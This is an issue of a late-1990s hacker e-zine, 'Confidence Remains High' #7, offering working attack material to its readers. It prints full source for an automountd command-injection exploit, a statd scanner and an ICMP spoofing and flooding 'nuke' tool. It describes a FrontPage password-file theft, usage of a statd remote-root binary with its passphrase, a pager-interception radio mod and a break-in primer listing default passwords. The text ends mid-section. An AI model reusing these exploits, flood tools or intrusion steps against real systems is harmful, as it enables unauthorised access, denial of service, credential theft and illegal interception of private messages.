Hackers Handbook - Millenium Edition

home *** CD-ROM | disk | FTP | other *** search

/ Hackers Handbook - Millenium Edition / Hackers Handbook.iso / magazines / crh / crh007.txt < prev next >

Wrap

Text File | 1998-06-25 | 65.6 KB | 1,962 lines

────────────────────────────────────────────────────────────────────────────── . [cZo] . Team CodeZero Presents . [cZo] . ────────────────────────────────────────────────────────────────────────────── /IIIIIIIIII /IIIIIIIIII /III /III \ III_____/ \ III___/III \ III \ III \ III \ III \ III \ III \_III \ III onfidence \ IIIIIIII emains \ IIIIIIIIII igh \ III \ III__/III \ III__/ III \ III \ III \ III \ III \ III \ IIIIIIIIII ___ \ III \ III ___ \ III \ III ___ \_________/ /\__\ \__/ \__/ /\__\ \__/ \__/ /\__\ \/__/ \/__/ \/__/ ────────────────────────────────────────────────────────────────────────────── Issue 7 31st January 1998 ─────────────────────────────────────────────────────────────────────────────── Editors : so1o and sw1tch Gorgeous : dangergrl Site of the month : www.dangergrl.com <-- go there now. The usual : om3n, zer0x, xFli, electro, Spheroid, el8, ultima and chameleon Not forgotten : loss, organik, peenut, pzn, suid helix and manly Special thanks to : Shok and vacuum Kick in the teeth to : dscan@hotmail.com VB coder kids who think they r Gods : www.sinnerz.com (NOT LYNX FRIENDLY) .-----------[ An Official ]-----------. : .-----. .----. .--.--. : : : .--' : .-. : : : : : !_-:: : : : `-' ; : . : ::-_! :~-:: :: : :: . : :: : ::-~: : ::.`--. ::.: : ::.: : : : `-----' `--'--' `--'--' : !_-:: ::-_! :~-::-[ Confidence Remains High ]-::-~: :~-:: ::-~: `-----------[ Production ]------------' ─────────────────────────────────────────────────────────────────────────────── In This "Added Vitamins" Issue : ─────────────────────────────────────────────────────────────────────────────── ------=> Section A : Introduction And Cover Story. 1. Confidence Remains High issue 7....................: Tetsu Khan 2. The D-Lab..........................................: so1o ------=> Section B : Exploits And Code. 1. ipwatch.c..........................................: Deathstar 2. Automountd remote exploit for SunOS 5.5.1..........: *unknown* 3. statscan.c - statd scanner.........................: BiT 4. FrontPage exploit..................................: chameleon / vacuum 5. sunscan.sh.........................................: so1o 6. classb.c...........................................: falken 7. icmp444v.c.........................................: e4elite ------=> Section C : Phones / Scanning / Radio. 1. Realistic Pro-50 scanner discriminator mod.........: xFli ------=> Section D : Miscellaneous. 1. rpc-stat.pgp.......................................: so1o 2. If you're really dumb..............................: so1o 3. inetd backdoors....................................: Phreak-0 4. 0wned..............................................: so1o 5. dnscan.............................................: sw1tch 6. The issues list for 1998...........................: so1o ------=> Section E : World News. 1. SpiceWorld hacked..................................: sw1tch 2. zeon.net...........................................: ch-e-ztic -------=> Section F : Projects. 1. TOTALCON '98.......................................: so1o ------=> Section G : FIN. ─────────────────────────────────────────────────────────────────────────────── =============================================================================== ==[ INTRO ]====================[ .SECTION A. ]======================[ INTRO ]== =============================================================================== ─────────────────────────────────────────────────────────────────────────────── 1. Confidence Remains High issue 7 : Tetsu Khan ─────────────────────────────────────────────────────────────────────────────── Welcome to issue 7 of the popular Confidence Remains High, as always, due to our equality policy, as we assume nothing, there may be some parts that some of you may dislike and think below you, as well as being some parts you actually learn something from, as always, we hope you enjoy this issue, and those to come in the future.. If you have a BBS, a webpage, ftp site, or anywhere where CRH is distributed, get in touch with us on irc, or mail us at tk85@hotmail.com, and we'll give you a mention and shit.. The distro list.. ================= www.d-lab.com.ar /crh/ www.technotronic.com /ezines/crh/ cybrids.simplenet.com /Toast/files/CRH/ ftp.linuxwarez.com /pub/crh/ ftp.sekurity.org /users/so1o/ Also go to.. ============ www.dangergrl.com <-- Go there now rhino9.abyss.com <-- NT security www.hacked.net <-- Archive of all the stuff we have 0wned. ─────────────────────────────────────────────────────────────────────────────── 2. The D-Lab : so1o ─────────────────────────────────────────────────────────────────────────────── Our member chameleon set us up with a domain in Argentina, the D-Lab.. It has some mad shit on it, but you have to know where to look, because www.d-lab.com.ar will take you nowhere, it has 0-day exploits on it, as well as other useful stuff and source code, check it out.. http://www.d-lab.com.ar/sekret/warez/ http://www.d-lab.com.ar/mad/ http://www.d-lab.com.ar/crh/ Don't forget to check out http://www.dangergrl.com, it's our site of the month! ─────────────────────────────────────────────────────────────────────────────── =============================================================================== ==[ EXPLOITS / CODE ]==========[ .SECTION B. ]============[ EXPLOITS / CODE ]== =============================================================================== ─────────────────────────────────────────────────────────────────────────────── 1. ipwatch.c : Deathstar ─────────────────────────────────────────────────────────────────────────────── ..this code is over 2 years old now, and alot of people have it, so here it is on public release, heh, it r0x anyway.. allows you to view any connection on a Linux box in real time!@# it's like 69k so we've just added it in the crh007.zip, usage is like all in the interface, it just r00lz supr3me! ─────────────────────────────────────────────────────────────────────────────── 2. Automountd remote exploit for SunOS 5.5.1 : *unknown* ─────────────────────────────────────────────────────────────────────────────── /* this is really dumb automountd exploit, tested on solaris 2.5.1 ./r blahblah /bin/chmod "777 /etc; 2nd cmd;3rd cmd" and so on, map is executed via popen with key given as argument, read automount(1M) patch 10465[45] fixes this */ #include <sys/types.h> #include <sys/time.h> #include <stdio.h> #include <netdb.h> #include <rpc/rpc.h> #include <rpcsvc/autofs_prot.h> #define AUTOTS "datagram_v" /* XXX */ void usage(char *s) { printf("Usage: %s mountpoint map key [opts]\n", s); exit(0); } bool_t xdr_mntrequest(xdrs, objp) register XDR *xdrs; mntrequest *objp; { register long *buf; if (!xdr_string(xdrs, &objp->name, A_MAXNAME)) return (FALSE); if (!xdr_string(xdrs, &objp->map, A_MAXNAME)) return (FALSE); if (!xdr_string(xdrs, &objp->opts, A_MAXOPTS)) return (FALSE); if (!xdr_string(xdrs, &objp->path, A_MAXPATH)) return (FALSE); return (TRUE); } bool_t xdr_mntres(xdrs, objp) register XDR *xdrs; mntres *objp; { register long *buf; if (!xdr_int(xdrs, &objp->status)) return (FALSE); return (TRUE); } main(int argc, char *argv[]) { char hostname[MAXHOSTNAMELEN]; CLIENT *cl; enum clnt_stat stat; struct timeval tm; struct mntrequest req; struct mntres result; if (argc < 4) usage(argv[0]); req.path=argv[1]; req.map=argv[2]; req.name=argv[3]; req.opts=argv[4]; if (gethostname(hostname, sizeof(hostname)) == -1) { perror("gethostname"); exit(0); } if ((cl=clnt_create(hostname, AUTOFS_PROG, AUTOFS_VERS, AUTOTS)) == NULL) { clnt_pcreateerror("clnt_create"); exit(0); } tm.tv_sec=5; tm.tv_usec=0; stat=clnt_call(cl, AUTOFS_MOUNT, xdr_mntrequest, (char *)&req, xdr_mntres, (char *)&result, tm); if (stat != RPC_SUCCESS) clnt_perror(cl, "mount call"); else printf("mntres = %d.\n", result.status); clnt_destroy(cl); } ─────────────────────────────────────────────────────────────────────────────── 3. statscan.c - statd scanner : BiT ─────────────────────────────────────────────────────────────────────────────── /* statd scanner by BiT, rpc shit ripped from rpcinfo, woopy! its done for now -- works fine from Linux boxes, just compile / follow usage. -so1o */ #include <stdio.h> #include <stdlib.h> #include <netdb.h> #include <signal.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <netinet/ip.h> #include <rpc/rpc.h> #include <rpc/pmap_prot.h> #include <rpc/pmap_clnt.h> #define VER "0.03" int statd(char *host); unsigned long int res(char *p); void woopy(int s); void usage(char *s); void scan(char *i, char *o); void usage(char *s) { printf("Usage: %s inputfile outputfile\n",s); exit(-1); } void main(int argc, char **argv) { printf("%s %s by BiT'97\n\n",argv[0],VER); if(argc<3) usage(argv[0]); scan(argv[1],argv[2]); } void scan(char *i, char *o) { FILE *iff, *of; char buf[512]; if((iff=fopen(i,"r")) == NULL) return; while(fgets(buf,512,iff) != NULL) { if(buf[strlen(buf)-1]=='\n') buf[strlen(buf)-1]=0; if(statd(buf) && (of=fopen(o,"a")) != NULL) { buf[strlen(buf)+1]=0; buf[strlen(buf)]='\n'; fputs(buf,of); fclose(of); } } fclose(iff); } void woopy(int s) { return; } int statd(char *host) { struct sockaddr_in server_addr; struct pmaplist *head = NULL; int sockett = RPC_ANYSOCK; struct timeval minutetimeout; register CLIENT *client; struct rpcent *rpc; server_addr.sin_addr.s_addr=res(host); server_addr.sin_family=AF_INET; server_addr.sin_port = htons(PMAPPORT); minutetimeout.tv_sec = 15; minutetimeout.tv_usec = 0; /* cause clnttcp_create uses connect() */ signal(SIGALRM,woopy); alarm(15); if ((client = clnttcp_create(&server_addr, PMAPPROG, PMAPVERS, &sockett, 50, 500)) == NULL) { alarm(0); signal(SIGALRM,SIG_DFL); return 0; } alarm(0); signal(SIGALRM,SIG_DFL); if (clnt_call(client, PMAPPROC_DUMP, (xdrproc_t) xdr_void, NULL, (xdrproc_t) xdr_pmaplist, &head, minutetimeout) != RPC_SUCCESS) return 0; if (head != NULL) for (; head != NULL; head = head->pml_next) if((rpc = getrpcbynumber(head->pml_map.pm_prog))) if(strcmp(rpc->r_name,"rstatd") == 0) return 1; return 0; } unsigned long int res(char *p) { struct hostent *h; unsigned long int rv; h=gethostbyname(p); if(h!=NULL) memcpy(&rv,h->h_addr,h->h_length); else rv=inet_addr(p); return rv; } ─────────────────────────────────────────────────────────────────────────────── 4. FrontPage exploit : chameleon / vacuum ─────────────────────────────────────────────────────────────────────────────── If a system is running FrontPage extensions, then you can do the following to pull their service.pwd password file... http://www.site.here.com/_vti_pvt/service.pwd Most of the time this will return a password file with around 4 lines in it, the passwords will be encrypted, but if you use L0phTCrack 1.5 (available from www.l0pht.com), then you can break the encryption. if the service.pwd doesn't exist, then check out the files in /_vti_pvt, as they will be listed straight off. Also, certain users may have FrontPage extensions installed, so try URL's like... http://www.site.here.com/~mike/_vti_pvt/service.pwd We're sure you get the idea, a simple yet affective exploit. ─────────────────────────────────────────────────────────────────────────────── 5. sunscan.sh : so1o ─────────────────────────────────────────────────────────────────────────────── #!/bin/sh # # exploit scanner for SunOS 5.5.x (solaris 2.5.x) # by so1o@d-lab.com.ar # # Simple little shell script that will quickly scan SunOS 5.5.x boxes for # local holes, if your dumb, this is how you run it.. # # % uname -a # Sun Microsystems SunOS 5.5.1 sparc blah blah blah.. # % sh sunscan.sh # # if the system isn't running SunOS 5.5.1, then the script will still work, # but exploits may not be available for certain programs under SunOS 4.1.x # or whatever you run the scanner on. # echo " .o. Scanning for all known exploitable programs now, Please be patient..." if [ -s /tmp/report ]; then cp /tmp/report /tmp/report.old echo " .o. Moving old report file to /tmp/report.old" else echo " .o. Preparing report file at /tmp/report" fi if [ -s /tmp/suidprogs ]; then rm /tmp/suidprogs echo " .o. Deleting old log files..." else echo " .o. No old log files detected..." fi echo " " echo " Team CodeZero Solaris Security Tool Version 1.0 Report :" > /tmp/report echo " ========================================================" >> /tmp/report echo " " >> /tmp/report if [ -s /bin/passwd ]; then echo " .o. /bin/passwd exists, checking for vunerabilities..." if test -u /bin/passwd then echo " .o. /bin/passwd is suid and seems exploitable." echo " .o. The scanner found /bin/passwd could be exploitable." >> /tmp/report echo "/bin/passwd" > /tmp/suidprogs else echo " .o. /bin/passwd is not exploitable." fi else echo " .o. /bin/passwd doesn't exist!" fi if [ -s /bin/eject ]; then echo " .o. /bin/eject exists, checking for vunerabilities..." if test -u /bin/eject then echo " .o. /bin/eject is suid and seems exploitable." echo " .o. The scanner found /bin/eject could be exploitable." >> /tmp/report echo "/bin/eject" >> /tmp/suidprogs else echo " .o. /bin/eject is not exploitable." fi else echo " .o. /bin/eject doesn't exist!" fi if [ -s /bin/fdformat ]; then echo " .o. /bin/fdformat exists, checking for vunerabilities..." if test -u /bin/fdformat then echo " .o. /bin/fdformat is suid and seems exploitable." echo " .o. The scanner found /bin/fdformat could be exploitable." >> /tmp/report echo "/bin/fdformat" >> /tmp/suidprogs else echo " .o. /bin/fdformat is not exploitable." fi else echo " .o. /bin/fdformat doesn't exist!" fi if [ -s /usr/sbin/ffbconfig ]; then echo " .o. /usr/sbin/ffbconfig exists, checking for vunerabilities..." if test -u /usr/sbin/ffbdonfig then echo " .o. /usr/sbin/ffbconfig is suid and seems exploitable." echo " .o. The scanner found /usr/sbin/ffbconfig could be exploitable." >> /tmp/report echo "/usr/sbin/ffbconfig" >> /tmp/suidprogs else echo " .o. /usr/sbin/ffbconfig is not exploitable." fi else echo " .o. /usr/sbin/ffbconfig doesn't exist!" fi if [ -s /usr/bin/rlogin ]; then echo " .o. /usr/bin/rlogin exists, checking for vunerabilities..." if test -u /usr/bin/rlogin then echo " .o. /usr/bin/rlogin is suid and seems exploitable." echo " .o. The scanner found /usr/bin/rlogin could be exploitable." >> /tmp/report echo "/usr/bin/rlogin" >> /tmp/suidprogs else echo " .o. /usr/bin/rlogin is not exploitable." fi else echo " .o. /usr/bin/rlogin doesn't exist!" fi if [ -s /usr/dt/bin/sdtcm_convert ]; then echo " .o. /usr/dt/bin/sdtcm_convert exists, checking for vunerabilities..." if test -u /usr/dt/bin/sdtcm_convert then echo " .o. /usr/dt/bin/sdtcm_convert is suid and seems exploitable." echo " .o. The scanner found /usr/dt/bin/sdtcm_convert could be exploitable." >> /tmp/report echo "/usr/dt/bin/sdtcm_convert" >> /tmp/suidprogs else echo " .o. /usr/dt/bin/sdtcm_convert is not exploitable." fi else echo " .o. /usr/dt/bin/sdtcm_convert doesn't exist!" fi if [ -s /usr/X11/bin/xlock ]; then echo " .o. /usr/X11/bin/xlock exists, checking for vunerabilities..." if test -u /usr/X11/bin/xlock then echo " .o. /usr/X11/bin/xlock is suid and seems exploitable." echo " .o. The scanner found /usr/X11/bin/xlock could be exploitable." >> /tmp/report echo "/usr/X11/bin/xlock" >> /tmp/suidprogs else echo " .o. /usr/X11/bin/xlock is not exploitable." fi else echo " .o. /usr/X11/bin/xlock doesn't exist!" fi if [ -s /usr/vmsys/bin/chkperm ]; then echo " .o. The chkperm program exists, the chkperm technique should work..." echo " .o. The scanner found /usr/vmsys/bin/chkperm could be exploitable." >> /tmp/report echo "/usr/vmsys/bin/chkperm" >> /tmp/suidprogs else echo " .o. /usr/vmsys/bin/chkperm doesn't exist!" fi echo " " echo " " >> /tmp/report echo " End of report, this scanner was scripted by so1o@d-lab.com.ar" >> /tmp/report echo " " echo " .o. The scan is now complete, a report has been written to /tmp/report .o." echo " " exit 0 ─────────────────────────────────────────────────────────────────────────────── 6. classb.c : falken ─────────────────────────────────────────────────────────────────────────────── This will be useful to someone, somewhere.. /* the subnetting program */ /* working version of a Class B subnetter falken@rune.org */ /* Werd silitek */ #include <stdio.h> #include <stdio.h> #include <stdlib.h> #include <sys/socket.h> #include <sys/types.h> #include <netinet/in.h> #include <netinet/ip.h> #include <netinet/ip_icmp.h> #include <netdb.h> void main(int argc,char *argv[]) { int counter1=0; int counter2=0; while(counter2 < 256) { counter1++; if (counter1 == 255) { counter2++;counter1=0;}; printf("%s.%i.%i\n",argv[1],counter2,counter1); }; }; ─────────────────────────────────────────────────────────────────────────────── 7. icmp444v.c : e4elite ─────────────────────────────────────────────────────────────────────────────── /* ICMP444V.c Kickass ICMP client, does some phat shit, runs fine from Linux, should also compile on a Sun, compile, then run for usage, or read this.. To flood with echo spoofing : ----------------------------- icmp444 E <spoof address> <ip of victim> <size of packet> eg : ~# icmp444 E www.nasa.gov ppp123.sucker.com 1000 To overload the fucker : ----------------------------- icmp444 O <spoof1> <spoof2> <ip of victim> eg : ~# icmp444 0 www.nasa.gov www.fbi.gov ppp42.sucker.com Bog standard ICMP nuke : ----------------------------- icmp444 X <destination of packet> <port source> <ip of source> <port of destination++;> <code of icmp (eg. 2 )> eg : ~# icmp444 X irc.devil.com 6667 ppp45.sucker.com 1020 2 To nuke an NT/Win96 box : ----------------------------- icmp444 X <destination of packet> <port source++;> <ip of source> <port of destination> 2 eg : ~# icmp444 N ppp56.sucker.com 1020 irc.devil.com 6667 2 e4elite [nWo] */ #define IPHDRSIZE sizeof(struct iphdr) #define ICMPHDRSIZE sizeof(struct icmphdr) #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <signal.h> #include <fcntl.h> #include <syslog.h> #include <sys/types.h> #include <sys/socket.h> #include <sys/wait.h> #include <sys/ioctl.h> #include <sys/stat.h> #include <netinet/in.h> #include <arpa/inet.h> #include <netdb.h> #include <linux/ip.h> #include <linux/icmp.h> #include <linux/tcp.h> #include <linux/udp.h> #include <netinet/ip_icmp.h> #ifdef SYSV #define bcopy(s1,s2,len) memcpy(s2,s1,len) #endif /* * in_cksum -- * Checksum routine for Internet Protocol family headers (C Version) */ unsigned short in_cksum(addr, len) u_short *addr; int len; { register int nleft = len; register u_short *w = addr; register int sum = 0; u_short answer = 0; /* * Our algorithm is simple, using a 32 bit accumulator (sum), we add * sequential 16 bit words to it, and at the end, fold back all the * carry bits from the top 16 bits into the lower 16 bits. */ while (nleft > 1) { sum += *w++; nleft -= 2; } /* mop up an odd byte, if necessary */ if (nleft == 1) { *(u_char *)(&answer) = *(u_char *)w ; sum += answer; } /* add back carry outs from top 16 bits to low 16 bits */ sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */ sum += (sum >> 16); /* add carry */ answer = ~sum; /* truncate to 16 bits */ return(answer); } unsigned int host2ip(char *serv) { struct sockaddr_in sin; struct hostent *hent; hent=gethostbyname(serv); if(hent == NULL) return 0; bzero((char *)&sin, sizeof(sin)); bcopy(hent->h_addr, (char *)&sin.sin_addr, hent->h_length); return sin.sin_addr.s_addr; } main(int argc, char **argv) { struct sockaddr_in sin_dst; unsigned char packet[4098]; struct iphdr *ip; struct icmphdr *icmp; struct iphdr *ipfake; unsigned char *data; unsigned s_port; unsigned t_port; int s; int i; int DATA; int s_portinc,t_portinc; ip = (struct iphdr *)packet; icmp = (struct icmphdr *)(packet+IPHDRSIZE); ipfake = (struct iphdr*)(packet+IPHDRSIZE+ICMPHDRSIZE ); data = (char *)(packet+IPHDRSIZE+ICMPHDRSIZE+IPHDRSIZE); memset(packet, 0, 4098); printf(" ICMP444 ready for action!\n\n"); if(argc == 1) { printf(" To flood with echo spoofing : \n"); printf(" icmp444 E <spoof address> <ip of victim> <size of packet>\n"); printf(" eg : ~# icmp444 E www.nasa.gov ppp123.sucker.com 1000\n\n"); printf(" To overload the fucker : \n"); printf(" icmp444 O <spoof1> <spoof2> <ip of victim>\n"); printf(" eg : ~# icmp444 0 www.nasa.gov www.fbi.gov ppp42.sucker.com \n\n"); printf(" Bog standard ICMP nuke : \n\n"); printf(" icmp444 X <destination of packet> <port source> <ip of source> <port of destination++;> <code of icmp (eg. 2 )> \n"); printf(" eg : ~# icmp444 X irc.devil.com 6667 ppp45.sucker.com 1020 2 \n\n"); printf(" To nuke an NT/Win96 box : \n "); printf(" icmp444 X <destination of packet> <port source++;> <ip of source> <port of destination> 2 \n"); printf(" eg : ~# icmp444 N ppp56.sucker.com 1020 irc.devil.com 6667 2 \n\n"); } /* OPEN A RAW_SOCKET ! */; s=socket(AF_INET, SOCK_RAW, 255); if(s < 0) { fprintf(stderr, "can't open raw socket\n"); exit(0); } #ifdef IP_HDRINCL if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, (char *)&i, sizeof(i)) < 0) { fprintf(stderr, "cant set IP_HDRINCL\n"); close(s); exit(0); } #endif if (*(argv[1]+0)=='E'){ DATA=atoi(argv[4]); ip->saddr = host2ip(argv[2]); ip->daddr = host2ip(argv[3]); ip->version = 4; ip->ihl = 5; ip->ttl = 255; ip->protocol = 1; ip->tot_len = htons(IPHDRSIZE +ICMPHDRSIZE+DATA); ip->tos = 0; ip->id = 0; ip->frag_off = 0; ip->check = in_cksum(packet,IPHDRSIZE); icmp->type = 8; icmp->code = 0; icmp->checksum = in_cksum(icmp,ICMPHDRSIZE+DATA); sin_dst.sin_addr.s_addr = ip->daddr; sin_dst.sin_family = AF_INET; printf(" HEY! %s u r dead \n",argv[3] ); for(;;){ sendto(s,packet,IPHDRSIZE+ICMPHDRSIZE+DATA,0, (struct sockaddr *)&sin_dst,sizeof(struct sockaddr)); } } if (*(argv[1]+0)=='O'){ unsigned int IP1; unsigned int IP2; IP1= host2ip(argv[2]); IP2 = host2ip(argv[3]); ip->daddr = host2ip(argv[4]); ip->version = 4; ip->ihl = 5; ip->ttl = 255; ip->protocol = 1; ip->tot_len = htons(IPHDRSIZE +ICMPHDRSIZE ); ip->id = 2; ip->frag_off = 0; ip->tos = 0; ip->check = in_cksum(packet,IPHDRSIZE); icmp->type = 3; icmp->code = 5; icmp->checksum = 1234; printf(" HEY! %s are you on a fucking 8086? \n",argv[4] ); for(;;){ ip->saddr = IP1; sin_dst.sin_addr.s_addr = ip->daddr; sin_dst.sin_family = AF_INET; sendto(s,packet,IPHDRSIZE+ICMPHDRSIZE,0, (struct sockaddr *)&sin_dst,sizeof(struct sockaddr)); ip->saddr = IP2; sin_dst.sin_addr.s_addr = ip->daddr; sendto(s,packet,IPHDRSIZE+ICMPHDRSIZE,0, (struct sockaddr *)&sin_dst,sizeof(struct sockaddr)); } } if(*(argv[1]+0)=='X'){ s_portinc=0; t_portinc=1; goto go; } if (*(argv[1]+0)=='N'){ s_portinc=1; t_portinc=0; go: ip->saddr = host2ip(argv[4]); ip->daddr = host2ip(argv[2]); s_port=atoi(argv[3]); t_port=atoi(argv[5]); ip->version = 4; ip->ihl = 5; ip->ttl = 255; ip->protocol = 1; ip->tot_len = htons(IPHDRSIZE+ICMPHDRSIZE+IPHDRSIZE+8); ip->tos = 0; ip->id = 2; ip->frag_off = 0; ip->check = in_cksum(packet,IPHDRSIZE); icmp->type = 3; icmp->code = atoi(argv[6]); ipfake->saddr = ip->daddr; ipfake->daddr = ip->saddr; ipfake->version = 4; ipfake->ihl = 5; ipfake->ttl = 255; ipfake->protocol = IPPROTO_TCP; ipfake->tot_len = htons(IPHDRSIZE+36); ipfake->tos = 0; ipfake->id = 22; ipfake->frag_off = 0; ipfake->check = in_cksum(ipfake,IPHDRSIZE); for(;;){ *((unsigned int *)data) = htons(s_port); *((unsigned int *)(data+2)) = htons(t_port); *((unsigned long *)(data+4)) = 6580; icmp->checksum=0; icmp->checksum = in_cksum(icmp,36); sin_dst.sin_addr.s_addr = ip->daddr; sin_dst.sin_family = AF_INET; sendto(s,packet,IPHDRSIZE+36,0, (struct sockaddr *)&sin_dst,sizeof(struct sockaddr)); printf("sport,tport:%i,%i\n\n",s_port,t_port); s_port=s_port+s_portinc; t_port=t_port+t_portinc; usleep(200); } } } ─────────────────────────────────────────────────────────────────────────────── =============================================================================== ==[ FONES / SCANNING ]=========[ .SECTION C. ]===========[ FONES / SCANNING ]== =============================================================================== ─────────────────────────────────────────────────────────────────────────────── 1. Realistic Pro-50 scanner discriminator mod : xFli ─────────────────────────────────────────────────────────────────────────────── The Realistic pro-50 is a very cheap scanner available from tandy, which is ideal for, amongst other things, pager interception. If you have a machine with windows 95 and a soundcard, using one of these scanners you can intercept POCSAG signalling for the entire country. there is poc32 software for win95 that allows decoding without any extra hardware (Such as the l0pht's hardware decoder). So check out www.l0pht.com or do a websearch for it.. Before you can get optimum decode rates, you need to modify the scanner so you can tap the baseband audio, before the pure signal has been mashed up by amplification. This is very simple and should be easy for anyone with a little soldering iron experience. You will need a soldering iron, solder, a philips (star) head screwdriver, a few bits of insulated hookup wire and a mono 3.5mm jack socket. First, remove the back half of the scanner's case by undoing the four large screws at the sides. Now you should see a pcb with a couple of 16 pin IC's and some other bits and pieces. Look at the codes printed on the IC's. The one we want will be labelled something along the lines of 'KA-3661N'. Its the chip nearest the top of the scanner. Notice there is a pin sticking up from the pcb next to pin 9 of the chip. This is connected to the discriminator pin of the chip (Thanks tandy!) Solder 1 length of wire to this pin, be quick to avoid damaging the IC. Next, look at where the coax (antenna) socket comes into the case. There will be a small metal tag coming off it which is attached to the nut holding the connecter onto the case. This is the ground or GND connection. Solder another length of wire to this. Now, solder these two wires onto your 3.5mm socket, and find a nice place to mount it in the case (we want this to look good :) Use a lighter to heat up a nail or similar and make a hole in the case for the socket. Wrap it in insulating tape to avoid any shorts, then glue it in and put the case back together. Plug the scanner into your soundcards microphone socket, using preferably a _shielded_ audio cable. Start up poc32 and tune the scanner to 153.225 (BT Easyreach paging). Set poc32's baud rate to 1200 and service type to 'auto'. Go to the properties menu, click the hardware&co tab, and select the soundcard as the device to use. Click ok and hopefully you should see messages on the screen! If you dont, open up the scanner and check all the connections, also check the recording volume in your soundcard setup. POCSAG encoded messages are transmitted in batches, expect a _lot_ of traffic on the bt frequencies. Another nice thing is that any pager message is transmitted to the _entire_ country, so if you are in glasgow you can pick up pages intended for someone in london. Remember also that a lot of pages aren't just of the 'Ill be back at 5 cook the dinner hoe' variety. There are a lot of automated systems out there, including ISP's, ATM (Cash machine) minders, and even remote freezer monitors. Oh, and make sure you remember that I'm not responsible if you ruin your scanner with shoddy soldering :) ─────────────────────────────────────────────────────────────────────────────── =============================================================================== ==[ MISC ]=====================[ .SECTION D. ]=======================[ MISC ]== =============================================================================== ─────────────────────────────────────────────────────────────────────────────── 1. rpc-stat.pgp ─────────────────────────────────────────────────────────────────────────────── Included in this issue of Confidence Remains High is a file called rpc-stat.pgp it is infact the PRECOMPILED version of the original statd exploit, it will remotely root any SunOS 5.4 system running statd, the statdscan.c in section B *WILL* scan for this vulnerability and not the 551 x86 version, so, this is how you use it.. 1: use pgp to decrypt it, the passphrase is pop3, you don't need a key. ^^^^ 2: upload the binary to a SUNOS system, it will run from basically any SunOS system (4.1.3, 5.4, 5.5.1 etc.), I have tried it from many.. 3: run the binary like this... % rpc-stat www.fmb.com rpc.statd located on port 31227 sent exploit code, waiting for shell... # whoami root # who # # uname -a Sun Microsystems SunOS 5.4 generic blah blah blah... # ....You now have root on www.fmb.com, it's really as simple as that! You can try to disassemble the binary, and then reassemble it so it will run from Linux systems, thats possible. Have fun kids! I've had a great time with it! so1o ─────────────────────────────────────────────────────────────────────────────── 2. If you're really dumb : so1o ─────────────────────────────────────────────────────────────────────────────── An Introduction to Unix, flavours, users and files. =================================================== Unix is a multi-user, multi-tasking operating system, as used by Schools and Universities for development, research, a whole multitude of tasks, Unix is also used by companies in manufacturing, databases, you name it, Unix is used for it, most www servers also run Unix. If a Unix system is connected to a network, or the internet, then users can remotely log into the system, if they have the correct login and password, Unix systems can support up to hundreds of users all running programs and doing different things on that system, because it's also capable of multi- tasking, so users log into Unix systems, either from a terminal locally (ie. in the same building, or room), or remotely (ie. across the internet, or a LAN - Local Area Network), provided the have a valid login and password. Connecting to a remote Unix system : ==================================== To connect to a remote Unix system, we use a program called TELNET, this is found by default on all Unix systems, and is also shipped with some Windows systems, if you don't have telnet.exe, or a Unix account / system, the I suggest you go to www.tucows.com and search for a telnet client. From a Unix system, we would connect to abc.123.com using.. $ telnet abc.123.com From a Windows system, we would run telnet.exe and the go file ▌ remote system and type abc.123.com and click on "OK", it should then connect after a few seconds.. Identifying the Unix version : ============================== The first thing we must do to try and work out how we should break into the system is identify the version of Unix it is running. There are many different types of the Unix operating system, called flavours, the most common Unix flavours are.. Linux, SunOS (Solaris), IRIX, FreeBSD, BSDi, Ultrix, Digital Unix, AIX.. You can usually identify the type of Operating System by connecting to the remote system, so we would use a program called telnet, which allows us to connect to remote systems across the internet, from a Unix system we would type... % telnet voycrs.gsfc.nasa.gov and from windows we would run telnet.exe, then go File ▌ Remote system, and type in "voycrs.gsfc.nasa.gov", and then connect to that system, when it connects, you will see something like this.. Unix System V Release 4.0 (voycrs) login: That's a standard login prompt, and we are told that the system is running Unix System V Release 4.0, which is the equivalent of a SunOS system, so we know that system is running SunOS. If the system says Linux 2.0.29, then it is running Linux, if the system says IRIX, then it is running IRIX, it's pretty simple.. Users on a Unix system : ======================== The user list is in the /etc/passwd file on a Unix system, each user has a login assigned to them, here are the super-user accounts logins.. root - the root user can fully control the system, remove any files, and even shut the system down. bin - the bin user owns most of the programs on the system adm - the adm user is a standard admin account admin - same as above uucp - this is the unix-to-unix copy account lp - this is the lineprinter account postmaster - this is the mail admin account as well as some default accounts.. test - used by admins to test certain system programs 4Dgifts - a default login for IRIX systems guest - widely used login for new users the passwords for those logins are usually along the lines of.. <none> admin test tutor qwerty adm1n letmein asdfgh test1 zxcvbn test12 secret abc123 password If you want to find out if a certain user exists on a Unix system, you can use finger... finger user@host.here.com that command will tell you if the user exists, you can get a finger client for windows from www.tucows.com, or use finger from a Unix system, it will be already installed. The Unix filesystem : ===================== The file system in Unix is diveded up into 3 catagories : Directories Ordinary files Special files Basic stucture : ---------------- (/) - this is abreviation for the root dirctory. root level root (/) system -------------------------------------|----------------------------------level | | | | | | | | /unix /etc /dev /tmp /lib /usr /usr2 /bin | _____|_____ login passwd | | | level /john /cathy ________________________|_______________ | | | | | | .profile /mail /pers /games /bin /michelle *.profile - in case | __|______ | __|_______ you wich to change your enviroment capital | | data | | but after you log off. It sets to othello starwars letter letter1 default. the /unix - is the kernal (in older systems) /etc - contains system administrators files,Most are not available to the regular user.(this directory contains the /passwd file) Here are some files under /etc directory: /etc/passwd /etc/utmp /etc/adm/sulog /etc/motd /etc/group /etc/conf /etc/profile /dev - contains files for physical devices such as printer and the disk drives /tmp - temporary file directory /lib - dirctory that contains programs for high level languages /usr - this directory contains dirctories for each user on the system Eg. of a list of files under /usr /usr/tmp /usr/lib /usr/docs /usr/news /usr/spool /usr/spool/lp /usr/lib/uucp /bin - contain executable programs (commands) Eg. of a list of programs in /bin /bin/passwd /bin/chmod /bin/uptime /bin/whoami /bin/uname /bin/finger The root also contains: /bck - used to mount a back up file system. /install - Used to install and remove utilities /lost+found - This is where all the removed files go, This dir is used by fsck (1M) /save - A utility used to save data /mnt - Used for temporary mounting (also /mount) hidden files : -------------- files like .rhosts and .profile are hidden from ls listings, because of the . the . infront of a file makes it hidden, it is a useful way to hide programs, by calling them .setup and .listing for example. Local Unix commands (Explained in GREAT detail) =============================================== These commands are to be run from the shell command prompt, ie. if you are actually on a Unix system using telnet, the $ and # are command prompts.. At the Unix prompt type the pwd command, it will show you the current working directory you are in. # 